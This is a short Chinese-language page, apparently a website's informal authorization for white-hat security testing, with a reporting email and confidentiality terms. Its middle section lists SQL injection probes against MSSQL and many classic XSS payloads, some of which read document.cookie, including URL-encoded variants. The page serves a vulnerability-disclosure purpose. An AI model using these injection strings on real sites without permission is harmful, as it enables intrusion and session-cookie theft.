关于安全测试协议

 允许所有白帽对本网站进行安全漏洞测试，不需要签任何合同。

二.测试流程

 允许使用sql语句注入或xss注入或Cookie注入

Sql语句比如 :

and 1=2
and (select count(*) from sysobjects)>0 mssql
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

<script>alert('hello，gaga!');</script> //经典语句，哈哈！
 
>"'><img src="javascript.:alert('XSS')">
 
>"'><script>alert('XSS')</script>
 
<table background='javascript.:alert(([code])'></table>
 
<object type=text/html data='javascript.:alert(([code]);'></object>
 
"+alert('XSS')+"
 
'><script>alert(document.cookie)</script>
 
='><script>alert(document.cookie)</script>
 
<script>alert(document.cookie)</script>
 
<script>alert(vulnerable)</script>
 
<script>alert('XSS')</script>
 
<img src="javascript:alert('XSS')">
 
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
 
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

完全允许使用

三.注入成功发现漏洞

请发送至邮箱hapuren@hapuren.cn

发完后请删除本地测试数据

所有测试的数据及漏洞压缩成rar 并且设置密码为hapurenweb?!

四.号被封了怎么办

只能怪你倒霉，自己再注册个新号吧｡:.ﾟヽ(*´∀`)ﾉﾟ.:｡

五.保密

测试后的数据严禁向任何第三方发送

不管是有意的还是无意的

如果你想发 联系qq754195502

授权方 哈葡人互联